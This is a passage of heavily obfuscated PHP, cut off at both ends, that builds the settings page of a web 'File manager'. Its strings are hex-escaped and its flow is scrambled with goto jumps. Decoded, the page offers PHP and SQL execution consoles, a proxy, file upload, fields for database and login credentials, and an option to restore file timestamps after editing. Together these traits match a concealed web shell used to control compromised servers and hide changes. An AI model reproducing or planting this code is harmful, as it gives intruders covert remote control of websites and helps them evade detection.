time()) . "\x2e\163\161\154"; goto KyKHE; oHFRs: fclose($bAjqm); goto HEk2A; IXT88: } goto hvD1M; jF09g: echo CwqzD("\x46\x69\x6c\145\40\x6d\141\x6e\141\x67\x65\x72") . "\x20\55\40" . $mNXtQ; goto K1Csv; Xj_P8: $d19Xm = json_decode($VZJKh, true); goto l4gTG; TQ53U: echo $dIxSR; goto u_vja; zg137: if (!is_file($KoyTP)) { goto Xn6ze; } goto ym8UP; Pwqxg: unlink($KoyTP); goto SQw49; te1qF: goto KCyLy; goto q0dnY; avHgR: $dIxSR = CWqzd("\123\x65\x74\x74\151\156\x67\x73") . "\x20" . Cwqzd("\x64\x6f\156\145"); goto MlsQu; yzDer: echo "\40\xd\12\74\164\141\142\x6c\x65\40\143\154\141\x73\163\75\42\167\150\157\154\145\x22\76\15\12\74\146\157\162\155\40\x6d\x65\x74\150\157\x64\x3d\42\160\157\x73\x74\x22\40\x61\143\164\151\x6f\156\x3d\x22\x22\x3e\xd\12\74\164\162\76\74\164\x68\40\x63\x6f\x6c\x73\160\141\156\75\x22\x32\42\x3e" . cWqzD("\x46\x69\154\145\40\x6d\x61\156\141\x67\145\x72") . "\40\55\x20" . cwQzD("\x53\x65\x74\164\x69\x6e\147\x73") . "\74\x2f\164\x68\x3e\x3c\x2f\x74\162\76\15\12" . (empty($dIxSR) ? '' : "\74\x74\162\76\x3c\x74\144\x20\143\154\141\x73\x73\75\42\162\157\x77\62\x22\x20\x63\157\154\x73\160\x61\x6e\x3d\42\62\42\x3e" . $dIxSR . "\74\x2f\x74\x64\x3e\74\x2f\164\x72\x3e") . "\xd\xa" . G6x51(CwqZd("\x53\x68\x6f\167\x20\x73\x69\x7a\x65\x20\x6f\x66\x20\x74\150\145\x20\x66\157\154\144\x65\162"), "\163\x68\x6f\167\x5f\x64\151\x72\x5f\x73\151\x7a\145") . "\xd\12" . G6X51(cWqZD("\123\150\x6f\x77") . "\40" . CwqZD("\160\x69\143\x74\x75\x72\x65\x73"), "\163\x68\x6f\167\137\151\155\147") . "\xd\12" . G6x51(CwqZD("\x53\150\x6f\x77") . "\40" . CwqZd("\115\x61\153\145\x20\x64\151\x72\145\143\x74\157\x72\171"), "\155\x61\153\x65\137\x64\151\162\x65\x63\x74\157\162\x79") . "\xd\xa" . g6X51(cWQzD("\123\150\x6f\167") . "\40" . CwQZD("\116\145\167\x20\146\151\x6c\x65"), "\156\145\x77\x5f\146\151\x6c\x65") . "\15\12" . G6x51(cwQzd("\123\150\x6f\167") . "\x20" . cWqzd("\125\160\154\157\141\144"), "\165\160\154\157\141\144\x5f\x66\x69\154\x65") . "\15\xa" . G6x51(CWqZd("\123\150\157\x77") . "\x20\120\x48\x50\40\x76\145\162\163\x69\x6f\x6e", "\163\150\x6f\167\137\160\x68\x70\x5f\x76\145\162") . "\15\xa" . g6x51(cWQzD("\123\x68\x6f\167") . "\40\x50\x48\120\40\x69\156\151", "\x73\x68\157\167\x5f\160\150\x70\137\151\x6e\x69") . "\xd\12" . G6X51(cwQZD("\x53\x68\157\167") . "\40" . cWqZd("\x47\x65\x6e\x65\162\x61\x74\x69\x6f\x6e\40\164\151\155\x65"), "\x73\x68\x6f\167\137\x67\164") . "\xd\12" . g6x51(CwqZd("\x53\x68\157\x77") . "\40\170\x6c\x73", "\x73\x68\x6f\167\x5f\x78\x6c\x73") . "\15\xa" . g6X51(cWQZD("\123\150\157\x77") . "\40\x50\x48\x50\x20" . cwQzd("\103\157\156\163\x6f\154\x65"), "\x65\156\x61\142\154\145\137\x70\150\x70\x5f\x63\x6f\x6e\x73\157\x6c\x65") . "\xd\12" . G6x51(Cwqzd("\x53\x68\157\167") . "\40\x53\121\x4c\x20" . cWQzd("\103\157\x6e\x73\157\x6c\145"), "\x65\x6e\x61\x62\154\x65\x5f\163\161\154\x5f\143\157\156\163\x6f\x6c\x65") . "\xd\xa\74\x74\162\76\x3c\x74\x64\x20\x63\154\x61\163\x73\x3d\42\162\x6f\167\x31\x22\76\74\x69\x6e\160\165\x74\x20\156\141\155\145\x3d\x22\146\x6d\137\x63\157\x6e\146\x69\x67\133\x73\161\x6c\x5f\163\x65\162\x76\145\x72\135\42\x20\x76\141\154\x75\x65\x3d\42" . $s97BH["\163\161\x6c\137\x73\145\x72\166\x65\162"] . "\42\40\x74\171\x70\x65\x3d\x22\x74\x65\x78\164\42\x3e\x3c\57\x74\x64\76\74\x74\x64\x20\x63\154\141\x73\163\75\42\x72\157\x77\x32\x20\167\x68\157\x6c\x65\42\x3e\x53\x51\x4c\x20\163\x65\x72\166\x65\162\x3c\57\164\x64\x3e\x3c\57\164\162\76\15\12\74\x74\162\x3e\74\x74\x64\x20\143\x6c\141\163\163\75\42\162\x6f\167\x31\x22\76\74\151\156\x70\x75\164\40\x6e\141\x6d\145\x3d\x22\146\155\x5f\x63\x6f\x6e\x66\x69\147\133\163\x71\154\137\x75\x73\x65\x72\x6e\141\155\x65\135\x22\40\166\x61\154\x75\145\x3d\x22" . $s97BH["\163\x71\x6c\x5f\x75\163\x65\162\x6e\141\x6d\x65"] . "\42\x20\x74\171\x70\x65\75\42\x74\x65\x78\164\42\x3e\74\57\164\144\76\x3c\164\144\x20\x63\x6c\141\x73\163\x3d\42\162\157\x77\x32\x20\x77\x68\x6f\154\x65\x22\76\x53\x51\x4c\40\165\163\145\x72\74\x2f\x74\144\76\74\57\164\162\x3e\15\xa\x3c\164\162\x3e\74\164\x64\40\143\x6c\141\163\163\75\x22\x72\x6f\167\61\x22\x3e\x3c\151\x6e\x70\165\x74\40\x6e\141\155\x65\75\42\x66\x6d\137\143\157\x6e\x66\x69\x67\x5b\x73\161\x6c\137\x70\x61\x73\x73\167\157\162\144\135\x22\x20\166\141\154\165\x65\75\x22" . $s97BH["\163\161\154\137\x70\141\163\163\167\157\162\144"] . "\x22\x20\164\x79\x70\145\x3d\42\164\145\x78\x74\x22\x3e\74\57\164\144\76\74\x74\144\40\143\154\141\x73\x73\75\42\x72\157\167\62\x20\167\x68\157\x6c\145\42\x3e\x53\121\114\x20\160\141\x73\163\167\157\x72\144\74\57\164\144\76\74\x2f\x74\x72\x3e\xd\12\74\x74\162\x3e\x3c\x74\x64\x20\143\154\x61\x73\163\75\x22\162\157\x77\61\42\76\x3c\151\156\x70\x75\x74\40\x6e\141\x6d\145\75\42\x66\x6d\137\143\157\156\146\151\147\133\163\x71\154\137\x64\x62\x5d\x22\x20\x76\141\154\165\x65\x3d\42" . $s97BH["\163\x71\x6c\137\x64\x62"] . "\x22\40\x74\171\160\145\x3d\42\164\145\170\164\42\76\x3c\57\164\144\x3e\74\164\x64\40\143\x6c\x61\163\163\75\42\162\157\x77\x32\x20\167\x68\157\154\x65\x22\x3e\123\x51\114\x20\104\102\x3c\57\164\144\76\x3c\x2f\x74\x72\76\15\12" . G6x51(cWQZD("\x53\150\157\x77") . "\40\x50\162\x6f\x78\x79", "\x65\156\141\x62\x6c\x65\x5f\x70\x72\x6f\170\x79") . "\xd\12" . G6X51(cWqzD("\x53\150\x6f\x77") . "\x20\160\150\x70\x69\156\x66\x6f\50\51", "\x73\150\157\167\137\160\150\160\x69\156\146\x6f") . "\xd\12" . G6x51(CwqzD("\123\x68\157\x77") . "\x20" . cwqZd("\123\145\x74\164\151\156\147\163"), "\x66\155\x5f\163\145\x74\164\x69\156\x67\163") . "\15\xa" . g6x51(CWQzD("\122\x65\x73\164\x6f\162\x65\x20\146\151\154\145\40\x74\x69\x6d\x65\x20\x61\146\164\145\x72\x20\145\144\x69\x74\151\x6e\x67"), "\162\x65\x73\164\x6f\162\145\137\x74\151\x6d\x65") . "\xd\xa" . g6x51(cWQzd("\x46\151\x6c\x65\40\x6d\141\156\141\147\145\162") . "\x3a\40" . CwqZD("\122\145\163\x74\x6f\162\x65\40\x66\151\x6c\145\40\164\x69\155\x65\x20\141\146\x74\x65\x72\40\x65\144\x69\164\x69\x6e\147"), "\x66\155\137\162\145\163\164\x6f\x72\x65\x5f\x74\151\x6d\145") . "\xd\12\74\x74\x72\76\74\164\x64\x20\x63\154\141\x73\x73\x3d\x22\x72\x6f\x77\x33\x22\x3e\x3c\141\x20\x68\162\x65\146\75\42" . c0J9P() . "\x3f\146\155\x5f\x73\x65\164\164\x69\156\x67\x73\75\x74\x72\165\145\46\x66\x6d\x5f\143\x6f\x6e\146\x69\x67\x5f\144\145\154\x65\x74\145\x3d\x74\x72\x75\145\42\76" . CwQZd("\122\x65\163\x65\164\x20\x73\x65\x74\x74\151\156\x67\x73") . "\x3c\x2f\x61\76\x3c\57\x74\x64\x3e\74\164\144\40\x63\154\x61\x73\x73\x3d\x22\162\x6f\x77\x33\x22\76\x3c\151\x6e\x70\x75\x74\x20\x74\x79\x70\x65\x3d\42\163\x75\x62\x6d\x69\x74\x22\40\166\141\x6c\165\145\75\42" . cWqZd("\123\141\x76\x65") . "\x22\x20\x6e\141\155\x65\75\x22\146\x6d\x5f\x63\157\156\x66\x69\x67\133\146\155\137\163\145\x74\137\163\x75\x62\155\x69\x74\135\x22\76\x3c\57\x74\x64\76\74\57\x74\x72\x3e\xd\xa\74\57\x66\x6f\x72\x6d\76\xd\xa\74\57\x74\x61\x62\x6c\145\76\15\xa\x3c\x74\x61\142\x6c\x65\x3e\15\12\74\x66\157\x72\155\40\x6d\145\164\x68\x6f\144\x3d\42\x70\x6f\163\164\42\x20\x61\x63\164\x69\x6f\156\75\42\x22\x3e\15\12\74\164\162\x3e\74\x74\150\40\x63\x6f\x6c\x73\160\x61\156\75\42\62\42\76" . CWqZd("\x53\x65\164\x74\x69\x6e\x67\x73") . "\x20\x2d\40" . CwQzD("\x41\165\x74\x68\157\162\151\172\x61\x74\x69\157\156") . "\74\57\x74\150\x3e\x3c\x2f\164\x72\x3e\15\xa\x3c\164\x72\x3e\x3c\164\144\40\x63\154\x61\163\163\75\42\162\x6f\167\61\x22\76\x3c\x69\156\160\165\164\x20\x6e\141\155\145\75\42\146\x6d\x5f\154\157\x67\x69\x6e\133\141\x75\164\x68\x6f\162\x69\172\x65\x5d\x22\40\166\x61\154\165\x65\75\42\x31\42\40" . ($d19Xm["\x61\165\x74\150\157\162\151\x7a\145"] ? "\143\150\145\x63\153\145\x64" : '') . "\40\x74\x79\x70\x65\x3d\x22\143\150\145\143\153\142\x6f\x78\42\40\151\x64\x3d\42\141\165\x74\x68\x22\76\74\x2f\164\144\76\74\164\x64\40\x63\x6c\x61\163\163\75\42\x72\x6f\167\62\x20\167\150\x6f\x6c\145\x22\76\x3c\x6c\141\x62\145\x6c\x20\x66\x6f\x72\x3d\42\141\x75\164\150\x22\x3e" . cWQzD("\101\165\164\x68\x6f\162\151\x7a\x61\x74\151\157\x6e") . "\x3c\57\154\141\x62\x65\x6c\x3e\x3c\x2f\x74\144\x3e\74\57\x74\162\76\15\xa\x3c\164\162\x3e\74\x74\x64\x20\143\x6c\141\x73\163\75\x22\162\x6f\x77\x31\42\x3e\74\151\156\160\165\164\x20\156\141\155\145\75\x22\146\155\137\x6c\x6f\x67\x69\x6e\133\x6c\157\147\151\156\135\42\x20\x76\x61\x6c\165\x65\75\x22" . $d19Xm["\x6c\x6f\147\151\156"] . "\42\x20\164\x79\160\x65\75\42\164\145\x78\x74\42\76\74\57\164\x64\76\74\x74\144\x20\x63\154\x61\x73\163\x3d\42\x72\x6f\x77\x32\40\x77\150\157\x6c\145\x22\76" . CWQzd("\x4c\x6f\x67\151\x6e") . "\x3c\57\x74\x64\76\74\x2f\164\162\76\15\12\x3c\164\x72\x3e\74\164\x64\x20\143\x6c\141\163\x73\x3d\42\x72\157\167\61\x22\76\x3c\x69\156\x70\165\x74\40\156\141\155\145\75\42\x66\x6d\x5f\154\157\147\x69\156\133\x70\x61\x73\x73\167\157\x72\144\x5d\x22\x20\166\x61\x6c\x75\x65\x3d\x22" . $d19Xm["\x70\141\163\163\x77\157\162\x64"] . "\x22\x20\x74\x79\160\x65\75\x22\x74\x65\x78\164\42\76\x3c\57\x74\x64\76\74\x74\144\x20\x63\x6c\x61\x73\x73\x3d\x22\162\157\x77\62\x20\167\150\x6f\x6c\x65\x22\76" . cWqzd("\120\x61\x73\x73\167\157\162\144") . "\x3c\57\164\144\76\74\x2f\164\x72\76\15\xa\74\x74\162\x3e\74\164\144\40\143\154\x61\x73\x73\x3d\42\x72\157\x77\61\42\x3e\74\x69\156\x70\x75\x74\x20\156\x61\x6d\x65\75\42\146\155\x5f\154\157\147\x69\x6e\133\143\x6f\x6f\x6b\x69\145\x5f\x6e\x61\x6d\145\135\42\40\x76\x61\x6c\x75\x65\x3d\x22" . $d19Xm["\143\157\x6f\x6b\x69\145\x5f\156\x61\155\x65"] . "\x22\x20\164\171\160\145\75\x22\164\x65\170\164\x22\76\74\x2f\164\144\76\74\164\144\x20\143\x6c\x61\163\163\x3d\x22\x72\x6f\x77\x32\x20\x77\150\157\x6c\145\x22\76" . cwQZD("\103\x6f\x6f\x6b\x69\x65") . "\x3c\x2f\x74\x64\76\74\57\164\x72\x3e\xd\12\x3c\164\x72\x3e\74\164\x64\x20\143\x6c\141\x73\163\x3d\42\x72\157\167\61\42\76\74\151\x6e\x70\165\x74\x20\156\141\x6d\x65\75\x22\x66\155\137\154\x6f\x67\151\x6e\133\144\x61\x79\x73\137\141\165\x74\150\x6f\162\x69\x7a\141\164\x69\157\156\x5d\x22\x20\166\x61\x6c\165\145\75\42" . $d19Xm["\144\x61\x79\163\137\141\165\x74\x68\157\x72\x69\172\x61\164\151\x6f\x6e"] . "\42\x20\x74\x79\160\x65\75\x22\x74\x65\x78\x74\42\76\x3c\57\164\x64\x3e\x3c\x74\x64\x20\143\x6c\x61\x73\163\75\x22\x72\157\167\x32\x20\x77\x68\x6f\x6c\x65\42\76" . cWQZd("\104\x61\x79\x73") . "\x3c\57\x74\144\x3e\x3c\57\x74\162\x3e\15\12\74\x74\162\x3e\x3c\x74\144\x20\143\154\x61\163\163\x3d\x22\x72\157\x77\x31\42\76\x3c\164\x65\170\164\x61\162\x65\141\40\156\x61\155\x65\75\42\146\x6d\137\x6c\157\x67\x69\x6e\x5b\163\x63\x72\x69\160\164\x5d\42\40\x63\x6f\154\x73\75\42\63\x35\x22\x20\162\157\167\x73\75\x22\x37\x22\x20\x63\x6c\141\x73\163\75\x22\164\x65\170\164\141\x72\x65\141\137\151\x6e\x70\x75\x74\42\x20\151\144\x3d\42\x61\165\164\150\x5f\x73\x63\162\151\x70\x74\x22\76" . $d19Xm["\x73\x63\162\151\x70\x74"] . "\x3c\x2f\x74\x65\x78\164\141\162\145\141\76\x3c\x2f\164\144\x3e\x3c\x74\x64\40\x63\154\x61\x73\x73\75\x22\x72\157\x77\x32\x20\x77\x68\x6f\154\x65\x22\76" . cwQzd("\x53\143\x72\x69\x70\164") . "\x3c\57\164\x64\x3e\74\57\x74\162\76\xd\xa\74\164\x72\x3e\74\164\144\x20\143\x6f\x6c\163\160\x61\x6e\x3d\42\62\42\40\143\154\x61\163\163\75\x22\162\x6f\x77\x33\42\x3e\x3c\151\156\x70\165\164\40\x74\171\x70\145\x3d\42\x73\165\142\x6d\151\164\x22\x20\166\141\x6c\165\145\x3d\42" . cWQzd("\123\141\166\x65") . "\42\40\x3e\74\x2f\164\x64\76\x3c\57\164\x72\x3e\xd\xa\x3c\57\146\x6f\162\155\x3e\xd\xa\74\57\164\x61\142\154\x65\76"; goto CSROL; cqao6: ini_set("\144\x69\x73\160\x6c\141\171\x5f\145\x72\x72\157\x72\x73", "\60"); goto tJFXo; kxYSz: if (!empty($_POST[$oUtWp . "\137\156\141\x6d\145"])) { goto Jbp28; } goto bdjYZ; hPsK0: $lQuHO = $ktmbx . "\46\x65\144\x69\164\x3d" . $_REQUEST["\x65\x64\151\164"] . "\x26\160\x61\164\x68\75" . $mNXtQ; goto r8juH; hgvFy: $esQj7 = preg_replace_callback("\43\50\150\x72\145\146\174\163\x72\143\x29\x3d\x5b\x22\x27\135\133\150\x74\x74\x70\72\57\57\135\77\50\133\136\x3a\x5d\52\x29\133\x22\x27\x5d\43\x55\151", "\x66\x6d\x5f\x75\162\x6c\x5f\160\x72\157\x78\x79", $esQj7); goto d1xaE; sl0rL: if (empty($_COOKIE["\x66\x6d\137\143\157\156\146\151\x67"])) { goto nmEeq; } goto DlAob; l4gTG: $d19Xm["\141\x75\x74\x68\x6f\162\x69\172\145"] = isset($d19Xm["\x61\x75\164\x68\x6f\x72\x69\x7a\145"]) ? $d19Xm["\141\x75\164\x68\157\x72\x69\x7a\x65"] : 0; goto bRfII; K3ByW: dXpcy: goto ChKZq; f3uYQ: $_COOKIE["\x66\155\137\143\157\156\146\151\147"] = serialize($s97BH); goto avHgR; r0HDb: nmEeq: goto O5W6F; ZVzJY: $dIxSR .= CWQZd("\x43\x72\145\141\x74\x65\144") . "\40" . $_REQUEST["\x64\x69\x72\x6e\141\x6d\145"]; goto mNxv_; He3se: dER4b: goto xsKVZ; UOpRE: $B2ArX = str_replace("\47", "\46\x23\x33\x39\x3b", json_encode(json_decode($vQR8H), JSON_UNESCAPED_UNICODE)); goto SNAig; MlDpV: function UGU8F() { return "\15\12\x69\x6e\x70\165\x74\x2c\x20\151\x6e\160\x75\x74\x2e\x66\x6d\x5f\x69\x6e\160\x75\164\x20\x7b\xd\12\x9\x74\145\x78\x74\55\151\x6e\144\x65\156\x74\x3a\40\62\x70\x78\73\15\xa\x7d\15\xa\15\xa\x69\156\160\165\164\54\x20\x74\145\x78\x74\141\162\145\141\x2c\x20\x73\x65\x6c\145\143\164\54\x20\x69\x6e\160\165\x74\56\x66\x6d\137\151\x6e\x70\165\x74\40\x7b\xd\xa\11\x63\x6f\x6c\157\162\x3a\x20\142\x6c\x61\143\x6b\73\15\12\x9\x66\157\x6e\x74\x3a\40\156\x6f\162\x6d\x61\x6c\x20\70\x70\x74\x20\126\x65\x72\x64\141\x6e\141\x2c\40\x41\x72\151\141\x6c\x2c\40\x48\x65\154\x76\145\164\x69\x63\141\54\x20\x73\141\x6e\163\55\163\145\162\x69\x66\73\xd\12\11\142\157\x72\144\x65\162\x2d\x63\x6f\x6c\157\162\x3a\40\142\x6c\x61\143\x6b\x3b\15\12\x9\x62\141\x63\153\147\x72\157\x75\x6e\144\55\x63\x6f\154\157\x72\72\40\x23\x46\x43\106\x43\106\103\x20\x6e\157\x6e\x65\40\41\151\x6d\160\x6f\x72\x74\x61\156\x74\x3b\15\12\11\x62\x6f\162\144\x65\x72\55\x72\x61\x64\x69\x75\163\x3a\x20\x30\73\xd\xa\11\x70\141\x64\x64\151\156\x67\x3a\x20\x32\x70\x78\73\15\12\175\15\12\15\12\151\156\x70\x75\x74\56\x66\155\137\151\x6e\160\165\164\x20\173\15\xa\x9\142\x61\143\153\147\x72\157\165\156\144\72\40\x23\106\x43\106\x43\x46\x43\40\x6e\x6f\156\x65\x20\41\x69\155\x70\157\x72\x74\141\x6e\164\73\15\xa\11\x63\x75\162\163\157\162\72\x20\x70\x6f\x69\156\x74\145\x72\x3b\15\12\x7d\xd\12\xd\12\56\x68\x6f\155\x65\40\173\xd\xa\11\x62\141\x63\153\147\162\157\165\156\x64\55\x69\155\141\147\145\x3a\x20\x75\162\x6c\x28\x22\x64\x61\164\141\x3a\x69\155\141\x67\x65\57\160\156\x67\x3b\142\x61\163\145\x36\64\x2c\x69\x56\x42\x4f\x52\167\x30\113\x47\147\157\101\x41\101\101\x4e\123\x55\150\x45\x55\147\x41\x41\x41\102\x41\101\x41\101\101\121\103\x41\115\101\x41\x41\101\157\x4c\121\71\x54\x41\x41\101\101\x42\107\x64\x42\124\x55\105\x41\101\113\57\111\x4e\x77\x57\113\x36\121\x41\101\x41\147\122\x51\124\x46\x52\x46\57\146\63\x39\x36\x4f\152\157\x2f\57\x2f\x2f\x74\x54\x30\62\172\162\53\146\x77\66\66\122\x74\x6a\x34\x33\x32\124\x45\160\x33\115\x58\x45\x32\x44\101\162\63\124\131\160\x31\171\64\155\164\x44\x77\62\57\67\x42\x4d\x2f\67\102\117\x71\x56\x70\x63\x2f\70\154\x33\x31\x6a\x63\161\x71\66\x65\156\167\143\x48\102\62\x54\x67\151\65\152\147\x71\x56\160\142\106\166\162\141\x32\156\x42\101\126\x2f\x50\x7a\x38\62\123\60\x6a\x6e\170\x30\127\x33\124\125\x6b\x71\x53\x67\151\x34\145\110\x68\x34\x54\x73\162\x65\x34\x77\157\163\x7a\60\62\66\x75\120\152\x7a\107\x59\x64\x36\x55\163\63\171\156\x41\x79\x64\x55\x42\x41\65\113\154\63\x66\155\x35\145\x71\x5a\x61\127\x37\117\104\147\151\x32\x56\147\53\120\x6a\x34\x75\x59\53\105\167\114\x6d\65\x62\131\71\125\57\x2f\67\x6a\x66\x4c\x74\x43\x2b\x74\117\x4b\63\152\x63\x6d\57\x37\x31\x75\62\152\x59\x6f\x31\x55\x59\x68\65\x61\112\x6c\57\163\145\x43\63\152\105\x6d\61\62\153\x6d\x4a\162\111\x41\61\x6a\115\x6d\57\71\x61\x55\64\114\x68\x30\145\60\x31\x42\154\111\x61\x45\57\x2f\57\x64\150\115\144\103\x37\111\101\57\x2f\x66\x54\x5a\x32\143\63\115\127\66\x6e\116\63\x30\167\x66\x39\65\126\144\64\112\x64\130\x6f\130\126\x6f\163\70\156\105\64\x65\x66\x4e\x2f\x2b\66\63\111\112\147\x53\x6e\x59\x68\154\67\106\x34\x63\x73\130\164\70\x39\x47\x51\x55\x77\114\53\x2f\x6a\154\61\x63\64\61\x41\x71\x2b\x66\142\62\x67\x6d\164\111\x31\x72\113\x61\x32\x43\x34\153\112\141\111\x41\x33\152\x59\x72\x6c\124\x77\x35\x74\152\x34\x32\x33\152\x59\156\x33\x63\130\x45\x31\172\121\x6f\x78\115\110\102\x70\61\x6c\x5a\63\x44\147\x6d\x71\151\153\x73\x2f\53\155\143\x6a\x4c\x4b\x38\x33\152\x59\153\171\155\115\126\x33\124\131\x6b\57\57\110\x4d\x2b\x75\67\x57\150\155\x74\162\x30\157\x64\124\x70\x61\117\x6a\x66\127\112\146\x72\110\160\147\x2f\x38\102\163\57\x37\164\127\x2f\x37\126\x65\53\x34\125\65\x32\x44\115\x6d\x33\115\x4c\102\x6e\64\161\x4c\147\x4e\126\115\66\115\x7a\102\63\154\105\146\154\111\165\114\x2f\x2b\x6a\x41\x2f\x2f\x2f\x32\x30\x4c\x4f\x7a\x6a\130\x78\70\x2f\67\154\142\127\160\x4a\107\x32\x43\x38\x6b\x33\x54\x6f\x73\x4a\x4b\x4d\101\x31\171\167\152\157\160\x4f\122\61\172\131\x70\65\104\x73\160\151\x61\x79\53\x79\113\x4e\150\161\x4b\123\153\x38\x4e\127\x36\x2f\146\152\156\x73\x37\x4f\x7a\62\164\x6e\132\x75\172\70\70\x37\x62\x2b\127\63\141\x52\131\x2f\x2b\x6d\x73\x34\x72\103\x45\x33\124\x6f\164\x37\126\70\65\x62\x4b\x78\x6a\x75\105\x41\63\167\x34\x35\x56\150\65\165\150\161\66\x61\155\x34\143\106\x78\x67\x5a\132\127\57\71\x71\111\165\x77\x67\113\171\60\x73\x57\53\x75\152\124\x34\x54\121\156\164\172\x34\x32\x33\103\70\151\63\x7a\x55\152\57\53\x4b\167\57\141\x35\x64\x36\125\115\x78\x75\x4c\x36\x77\172\x44\105\x72\x2f\57\57\x2f\143\x71\x4a\121\146\x41\x41\101\101\x4b\x78\60\x55\153\x35\x54\57\57\57\x2f\x2f\x2f\57\57\x2f\x2f\x2f\57\57\57\x2f\57\57\57\x2f\57\57\x2f\57\x2f\x2f\57\x2f\x2f\57\57\57\x2f\x2f\57\x2f\x2f\x2f\57\x2f\x2f\x2f\x2f\57\x2f\x2f\57\57\57\57\x2f\57\57\57\x2f\x2f\x2f\57\57\x2f\57\x2f\x2f\x2f\57\x2f\x2f\x2f\x2f\57\57\57\57\57\57\x2f\x2f\x2f\x2f\57\57\x2f\x2f\x2f\57\57\x2f\57\x2f\x2f\57\x2f\57\57\57\57\57\57\57\x2f\x2f\x2f\57\57\x2f\57\x2f\x2f\x2f\x2f\x2f\57\x2f\x2f\x2f\57\57\x2f\57\x2f\x2f\57\57\57\x2f\57\57\x2f\57\57\x2f\57\57\x2f\x2f\x2f\57\57\x2f\57\x2f\x2f\57\x2f\57\57\x2f\x2f\57\57\57\57\57\x2f\57\57\57\57\57\x2f\x2f\57\x2f\x2f\57\57\57\x2f\x2f\57\57\57\x2f\x2f\57\57\x2f\57\x2f\x2f\57\x2f\x2f\x2f\x2f\x2f\57\57\57\57\x2f\x2f\x2f\57\x2f\57\57\x2f\57\x2f\x2f\x2f\57\57\x2f\x2f\57\57\x2f\x2f\x2f\57\x2f\x2f\x2f\57\57\x2f\57\x2f\57\57\57\x2f\x2f\x2f\x2f\x2f\x2f\x41\x41\127\126\106\142\x45\x41\101\x41\x41\x5a\x64\x45\x56\131\144\106\116\166\x5a\156\122\63\x59\x58\x4a\154\101\105\x46\153\x62\x32\x4a\154\x49\105\154\164\x59\x57\x64\154\x55\155\126\x68\x5a\x48\154\170\171\127\125\70\101\101\x41\101\62\125\154\x45\121\126\121\x6f\125\x32\x4e\131\x6a\121\131\131\x73\101\151\105\x38\125\71\131\x7a\104\131\x6a\126\160\x47\x5a\x52\170\x4d\151\x45\103\151\164\115\x72\126\132\166\x6f\x4d\162\x54\x6c\x51\x32\105\123\122\121\x4a\62\x46\126\167\x69\156\131\142\155\x71\124\125\x4c\x6f\x6f\x68\156\105\x31\147\61\x61\113\x47\x53\x2f\146\116\115\x74\153\x34\60\x79\132\x39\113\x56\x4c\121\150\x67\x59\x6b\165\131\x37\x4e\170\121\x76\130\171\x48\126\x46\116\156\113\x7a\x52\x36\71\161\160\x78\x42\x50\x4d\145\x7a\x30\x45\124\x41\121\x79\x54\x55\166\123\157\147\141\x49\x46\141\120\x63\x4e\x71\126\57\115\65\144\150\141\x32\x52\x6c\x32\124\x69\155\142\66\132\x2b\x51\x42\x44\x59\x31\130\116\x2f\x53\x62\x75\x38\170\106\114\107\x33\x65\114\104\x66\154\x32\125\x41\102\x6a\151\x6c\117\61\x6f\x30\x31\62\132\x33\145\153\x31\x6c\132\x56\x49\127\x41\x41\x6d\x55\124\x4b\x36\x4c\60\163\x33\x70\130\x2b\152\152\x36\160\165\x5a\x32\x41\167\127\x55\166\x42\x52\141\160\150\x73\x77\x4d\x64\125\x75\152\103\x69\x77\104\167\141\65\x56\x45\144\x50\x49\67\171\x6e\x55\x6c\143\x37\166\x31\161\x59\125\x52\x4c\x71\165\146\64\x32\x68\x7a\x34\x35\x43\x42\120\x44\x74\x77\x41\103\x72\x6d\x2b\x52\104\x63\x78\x4a\x59\x41\101\101\x41\101\102\x4a\122\125\65\x45\x72\x6b\x4a\x67\147\x67\x3d\75\x22\x29\73\15\12\11\142\141\143\x6b\147\x72\x6f\165\156\x64\55\x72\145\160\x65\141\x74\x3a\40\156\157\55\x72\x65\x70\x65\x61\164\73\15\12\x7d"; } goto czdKn; HnYsg: foreach ($ZFhTA as $lOFrg) { goto zYw0h; vYE1a: echo $fNPCz; goto QhspS; Lh3pQ: $qZLQM = "\74\141\40\x68\x72\145\146\x3d\42" . $ktmbx . "\x26\160\x61\x74\x68\x3d" . $mNXtQ . $lOFrg . "\x22\40\x74\x69\x74\154\x65\75\42" . CWqZd("\123\150\157\167") . "\x20" . $lOFrg . "\42\x3e\74\163\x70\x61\156\x20\x63\154\141\163\x73\x3d\x22\x66\157\154\144\x65\x72\x22\76\46\x6e\x62\163\160\x3b\46\156\x62\x73\160\x3b\46\156\x62\x73\160\x3b\x26\156\142\x73\160\73\74\57\163\160\x61\156\x3e\x20" . $lOFrg . "\74\57\x61\x3e"; goto hNHlM; quRw5: JWgr0: goto Lh3pQ; wiM9L: echo "\74\57\x74\144\x3e\xd\xa\x20\x20\40\40\74\x74\144\76"; goto Y4mOO; faQ1O: echo $zEIYz; goto FFHzH; ftuV_: goto Y0vAJ; goto MvJ2h; E6Pu6: $P8mo4 = "\x72\x6f\167\62"; goto unbcY; BDt1s: Y0vAJ: goto IZrcs; DYAA1: $qZLQM = $s97BH["\x73\150\157\167\137\x69\x6d\147"] && @getimagesize($GO7Gl) ? "\x3c\141\40\164\x61\162\147\145\164\75\x22\137\142\154\x61\x6e\153\42\x20\157\156\x63\x6c\151\x63\x6b\x3d\42\x76\141\162\40\x6c\x65\146\164\157\x20\75\x20\x73\x63\162\x65\x65\x6e\x2e\x61\166\x61\x69\154\x57\x69\x64\164\x68\x2f\x32\x2d\63\62\60\73\167\x69\156\144\x6f\x77\56\157\x70\145\156\x28\x27" . GuFS0($GO7Gl) . "\x27\x2c\47\x70\157\160\165\x70\47\x2c\x27\167\151\x64\x74\x68\75\66\64\60\54\x68\145\x69\x67\x68\164\x3d\x34\x38\60\54\x6c\145\x66\164\x3d\47\40\x2b\40\154\x65\146\164\x6f\x20\x2b\x20\47\x2c\163\143\x72\157\154\x6c\142\141\162\163\x3d\x79\145\163\54\x74\157\x6f\154\x62\x61\x72\x3d\x6e\x6f\x2c\154\157\143\141\164\151\157\x6e\x3d\x6e\157\54\144\x69\x72\x65\x63\164\157\162\x69\145\163\x3d\x6e\x6f\x2c\163\x74\141\164\x75\163\75\156\157\47\x29\73\x72\x65\x74\x75\x72\156\x20\146\141\154\x73\x65\x3b\42\x20\x68\162\145\x66\75\x22" . gUfs0($GO7Gl) . "\x22\76\x3c\x73\x70\141\x6e\40\143\x6c\141\x73\x73\75\x22\x69\x6d\147\42\76\46\156\x62\x73\160\x3b\46\x6e\142\x73\x70\x3b\x26\156\142\163\x70\x3b\x26\x6e\142\x73\160\73\74\57\x73\160\x61\156\x3e\x20" . $lOFrg . "\x3c\x2f\141\76" : "\x3c\141\40\150\162\145\146\x3d\x22" . 